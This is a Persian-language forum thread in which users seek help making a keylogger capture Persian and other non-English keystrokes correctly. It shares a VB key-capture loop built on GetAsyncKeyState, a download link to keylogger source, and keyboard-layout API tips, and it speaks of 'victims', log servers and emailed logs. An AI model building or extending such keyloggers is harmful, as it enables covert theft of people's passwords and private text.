ايران ويج

نسخه‌ی کامل: مشکل با زبان فارسی در کیلاگر
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
صفحه‌ها: 1 2
من چند تا سورس کی لاگر گرفتم و اجرا کردم اما همشون یه مشکل داشت
اونم این بود که اگر طرف کیبردش رو فارسی میکرد و شروع میکرد به نوشتن باز هم کی لاگر کلید ها رو با حروف انگلیسی ثبت میکرد.
بطور مثال اگر طرف کیبورد خودش رو فارسی میکرد و مینوشت "سلام" تو کیلاگر بصورت "sghl" ذخیره میشد.
این بود که برام این سوال پیش اومد که برای حل این مشکل باید چی کار کرد.

هر کی اطلاعاتی در این مورد داره لطف کنه و بگه باید چیکار کرد تا این مشکل حل بشه.
باسلام

این سورس با چه زبانی برنامه نویسی نوشته شده ؟ اگه vb لطفا کن و لینک دانلودش رو بذار. چون من هم نیازش دارم

ایا کار کرده و برات ایمیل فرستاده ؟

با تشکر
خب شما متنتو تو کنترل مینویسی اونو تنظیم به فارسی کن
یا از این تابع استفاده کن که وقتی طرف به حالت فارسی تو هم بری کد فارسی هم فکر کنم 000402 بود
Windows NT:

The LoadKeyboardLayout function loads a keyboard layout.

HKL LoadKeyboardLayout(

LPCTSTR pwszKLID, // address of buffer for layout name
UINT Flags // keyboard layout flags
);
hno نوشته است:باسلام

این سورس با چه زبانی برنامه نویسی نوشته شده ؟ اگه vb لطفا کن و لینک دانلودش رو بذار. چون من هم نیازش دارم

ایا کار کرده و برات ایمیل فرستاده ؟

با تشکر

بله به زبان وی بی هست، ولی فقط مثالی از کی لاگر ها هست که چجوری میشه کلیدهای زده شده توسط کاربر رو پیدا کرد و در واقع یک برنامه کامل نیست که در استارت آپ قرار بگیره یا میل بفرسته. اینم لینک دانلودش:
http://persianupload.com/files/b36abane0n3u6yz8rb0u.zip

lord_viper نوشته است:خب شما متنتو تو کنترل مینویسی اونو تنظیم به فارسی کن
یا از این تابع استفاده کن که وقتی طرف به حالت فارسی تو هم بری کد فارسی هم فکر کنم 000402 بود
Windows NT:

The LoadKeyboardLayout function loads a keyboard layout.

HKL LoadKeyboardLayout(

LPCTSTR pwszKLID, // address of buffer for layout name
UINT Flags // keyboard layout flags
);

خیلی ممنون از کمکتون
راستش من میخواستم کیلاگرم تمام زبان ها رو ساپورت بکنه نه فقط فارسی
اگر از LoadKeyboardLayout استفاده کنم مجبور میشم برای تمام زبانها کاراکترها رو مشخص کنیم و حجم سرور کیلاگر خیلی میره بالا به علاوه راه چندان راحتی نیست.
آیا راه یا API هست که کار ما رو ساده و مانند کیلاگرهایی مثل SC-Keylogger یا Perfect Keylogger بشه تمام کاراکترها رو ساپورت کرد بدون اینکه نیازی به کد نویسی اضافه باشه؟
خب با تابع setkeyboardlayout اول تشخیص میدی رو چه زبانیه همونو با LoadKeyboardLayoutنسبت میدی به برنامه خودتاحتیاجی هم به مشخص کردن کاراکترها نیست معمولا برنامه ها با مقادیر عددی سروکار دارن تو دلفی chr(65) این کد مقدار عددی رو کاراکترش تبدیل میکنه که میشهa شما برای هر کلیدی مقدار کاراکتریشو قرار ندید بلکه مقدار عددیشو بگزارین تو این کد تا به نسبت LoadKeyboardLayout تبدیل بشه
ببینید این کد منه که توش از Chr استفاده شده:

کد:
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
    Text1 = Text1 & LCase(Chr(i))
    Exit Sub
   Else
    Text1 = Text1 & UCase(Chr(i))
    Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
    Text1 = Text1 & UCase(Chr(i))
    Exit Sub
   Else
    Text1 = Text1 & LCase(Chr(i))
    Exit Sub
   End If
  End If
End If
Next i

من توی این کد چه کیبورد رو فارسی کردم با LoadKeyboardLayout یا چه انگلیسی کردم، تابع Chr برای من کاراکتر انگلیسی رو برمیگردوند Confused

به جای For i = Asc("A") To Asc("Z") هم نوشتم For i=1 to 255 ولی بازم مقدار انگلیسی اونا رو بهم بگردوند Amaze
آقا کسی نبود به ما کمک کنه؟
من از GetAsyncKeyState برای بدست آوردن کلیدهای فشرده شده استفاده میکنم، ولی فقط کاراکترهای انگلیسی رو ساپورت میکنه
یعنی اگر طرف کیبوردش رو رو حالت فارسی قرار بده و فارسی بنویسه باز هم برای من انگلیسی کلید ها ذخیره میشن
کسی نمیدونه باید چه کنم؟
دوستان کسی نتونست مشکل ما رو حل کنه؟
من چجوری میتونم KeyCode رو به عنوان ورودی بدم و کاراکتر اسکی کلید فشار داره شده رو با توجه به زبون انتخاب شده کیبورد برگردونم؟i
سلام رفیق
2 حالت بیشتر وجود نداره
یکی اینه که میتونید وقتی که لوگ هاتون اومد با یه برنامه ای مثل تبدیل فینگیبیش یا اینگلیسی به فارسی لوگ هاتون رو تبدیل به اینگیلیسی کنید یا اصلا برنامه رو به کیلاگرتون اضافه کنید یا اینکه باید از دوستان کمک بگیرید که من بلد نیستم روش دومو
سلام xss جان
خوبی ؟

ببین میخوای کیلاگر بنویسی ؟؟؟
اگه میخوای کیلاگر بنویسی شاید بتونم کمکت کنم
مشکل اصلی این نیست میه این مشکل رو برطرف کرد حالا یه جوری
چند درصد از کیلاگرت پیش رفته و چه امکاناتی داره
منتظرما
فکر کنم بتونم کمکت کنم آخه منم تا یه جاهایش پیش رفتم
سلام sayberiya عزیز
نه من نمیخوام کیلاگر بنویسم، داشتم یه سری از کیلاگرها رو بررسی میکردم که دیدم این مشکل رو دارن (کیلاگر های ایرانی)
اما کیلاگر های دیگه با هر زبونی قربانی تایپ میکرد، عین متن تایپ شده با همون زبون برمیگردوند
برای همین برام سوال شد که چجوری میشه KeyCode رو با توجه به KeyboardLayer لود شده به کاراکتر اسکی تبدیل کرد
بطور مثال وقتی ما کلید h رو از روی کیبرد فشار میدیم، به سیستم گفته میشه که کاربر کلیدی که KeyCode اون 72 هست رو فشار داده
حالا ویندوز با توجه به زبان کیبورد لود شده مقدار اسکی اون رو برمیگردونه
بطور مثال اگر کیبرد رو حالت English بود مقدار اسکی 104 و اگر کیبرد فارسی بود مقدار اسکی 199 رو برمیگردونه به همین ترتیب برای همه زبون ها اینکار رو انجام میده

تو برنامه من میتونم مقدار KeyCode رو پیدا کنم و در نهایت با استفاده از تابع Chr میتونم اونو به کاراکتر فشار داده شده در بیارم
اما مشکل اینجاست که تابع Chr نگاه نمیکنه کیبرد ویندوز روی چه زبونی هست تا با توجه به اون مقدار کاراکتر رو برگردونه و مشکل من همینجاست
میخوام ببینم تابع API برای حل این مشکل هست یا نه
صفحه‌ها: 1 2